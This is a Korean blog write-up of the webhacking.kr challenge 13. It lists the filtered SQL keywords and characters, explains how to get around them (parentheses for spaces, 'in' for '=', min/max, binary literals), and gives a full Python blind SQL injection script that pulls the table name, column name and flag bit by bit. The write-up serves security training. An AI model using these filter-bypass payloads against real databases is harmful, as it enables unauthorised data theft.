WEB/webhacking.kr (old)

webhacking.kr 13번

hongjw 2022. 4. 3. 14:47

challeneg13번 첫화면

no 값이 True이면 result 1을 출력하고 False이면 result 0을 출력하는 것 같다.

필터링되는 문자를 입력하면 아래 그림처럼 no hack을 출력한다.

이것저것 입력해 본 결과, 필터링되는 것과 필터링되지 않는 것을 파악할 수 있었다. (SQLi에 주로 쓰이는 것들만 나열)

필터링되는 것 : 공백, 탭, =, <, >, union, where, ||, &&, like, and, group_concat 등

필터링되지 않는 것 : or, select, in 등

 

문제를 풀기 위해서는 FLAG 값을 찾아야 한다.

따라서 앞서 파악한 정보들을 바탕으로 Blind SQL injection을 시도해야 한다.

FLAG 값을 구하기 위해서는 3단계를 거쳐야 한다.

1. table 명 찾기 2. column 명 찾기 3. FLAG 값 찾기

참고 >> table 명, column 명 찾는 퀴리문

 

webhacking.kr 29번

첫 화면에 FLAG is in another table이라고 써있는 것을 보고 SQL인젝션 문제인가.. 생각을 해봤다. 공격시도할 수 있는 방법은 파일명을 이용하는 것밖에 없기 때문에 파일명을 조작해야한다. 파일을

hong-zone17.tistory.com

 

다음은 FLAG 값을 구하기 위한 코드이다.

#-*- encoding: utf-8 -*-
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url 	= "https://webhacking.kr/challenge/web-10/?no="
headers = { "Cookie" : "세션 값" }

def get_request(payload):
	res = requests.get(url=url+payload, headers=headers, verify=False)
	# print(payload)
	# print(res.text)
	if "<td>1</td>" in res.text:
		return True
	else:
		return False


def find_table_length():
	tb_length 	= 1
	# payload		= "length((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)))in({})".format(tb_length)
	while get_request("length((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)))in({})".format(tb_length)) is False:
		tb_length += 1

	print("table_name length : ", tb_length)
	return tb_length


def find_table():
	tb_length = find_table_length()
	table_name = ""
	for i in range(1,tb_length+1):
		tmpBit = ""
		for j in range(1, 9):
			payload = "if(substr(lpad(bin(ord(substr((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)),{},1))),8,0),{},1)in(1),1,0)".format(i, j)
			if get_request(payload) is True:
				tmpBit += '1'
			else:
				tmpBit += '0'

		table_name += chr(int(tmpBit,2))
		# print("[ ] found word : ", table_name)
	print("[+] found table_name : ", table_name) # flag_ab733768
	return table_name


def find_column_length():
	col_length 	= 1
	table = 'flag_ab733768'
	table_name 	= '0b'+''.join(format(ord(x),'b').zfill(8) for x in table) 	#문자열 2진수로 변환
	# payload		= length((select(min(if((select(table_name)in({})),column_name,null)))from(informatin_schema.columns)))in({}).format(table_name,col_length)
	while get_request("length((select(min(if((select(table_name)in({})),column_name,null)))from(information_schema.columns)))in({})".format(table_name,col_length)) is False:
		col_length += 1

	print("column_name length : ", col_length) # 13
	return col_length


def find_column():
	col_length = find_column_length()
	column_name = ""
	table = 'flag_ab733768'
	table_name 	= '0b'+''.join(format(ord(x),'b').zfill(8) for x in table) 	#문자열 2진수로 변환
	for i in range(1,col_length+1):
		tmpBit = ""
		for j in range(1, 9):
			payload = "if(substr(lpad(bin(ord(substr((select(min(if((select(table_name)in({})),column_name,null)))from(information_schema.columns)),{},1))),8,0),{},1)in(1),1,0)".format(table_name,i, j)
			if get_request(payload) is True:
				tmpBit += '1'
			else:
				tmpBit += '0'

		column_name += chr(int(tmpBit,2))
		# print("[ ] found word : ", column_name)
	print("[+] found column_name : ", column_name) # flag_3a55b31d
	return column_name


def find_flag_length():
	column_name = 'flag_3a55b31d'
	table_name = 'flag_ab733768'
	flag_len = 1
	while get_request('length((select(max({}))from({})))in({})'.format(column_name, table_name, flag_len)) is False:
		flag_len += 1

	print("FLAG length : ", flag_len) # 27
	return flag_len


def find_FLAG():
	flag_len = find_flag_length()
	column_name = find_column()
	table_name = find_table()
	FLAG = ''

	for i in range(1, flag_len+1):
		tmpBit = ""
		for j in range(1, 9):
			payload = "if(substr(lpad(bin(ord(substr((select(max({}))from({})),{},1))),8,0),{},1)in(1),1,0)".format(column_name,table_name, i, j)
			if get_request(payload) is True:
				tmpBit += '1'
			else:
				tmpBit += '0'

		FLAG += chr(int(tmpBit,2))
		# print("[ ] found word : ", FLAG)
	print("[+] found FLAG >>>>>> ", FLAG)
	return FLAG


find_FLAG()

-> 필터링 된 문자열 우회 방법

공백 : 괄호 ()

= : in

group_concat : min(), max() 함수

 

-> 코드 추가 설명

column 명 찾을 때, table 명을 입력해야 하는데 table 명을 문자열 그대로(flag_ab733768) 작성하면 왜인지 비교를 하지 못한다. (계속 result 0 을 출력함)

이를 우회하기 위한 문자열 표현 방법 3가지가 있다.

1. 아스키 값으로 변환 : char()

2. 헥사 코드 값으로 변환 : hex()

3. 이진수 값으로 변환 : 0b~

1,2번 방법은 char()과 hex()를 이용해야 하는데 필터링되어 있다ㅠ

따라서 table명을 이진수 값으로 변환하여 코드를 작성하였다. 

 

max(), min() 함수 설명

max() : 숫자의 경우 가장 큰 수 반환, 문자의 경우 abc 순 / ㄱㄴㄷ 순으로 가장 뒤에 있는 문자 반환
min() : 숫자의 경우 가장 작은 수 반환, 문자의 경우 abc 순 / ㄱㄴㄷ 순으로 가장 앞에 있는 문자 반환

 

* 코드 실행 결과 *

위 코드를 실행하면, 아래 그림과 같이 FLAG 값을 구할 수 있다!

성공 ~~!!!~!✨

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 9번  (0) 2022.03.31
webhacking.kr 29번  (0) 2020.04.12
webhacking.kr 35번  (0) 2020.04.12
webhacking.kr 60번  (0) 2020.04.11
webhacking.kr 53번  (0) 2020.04.10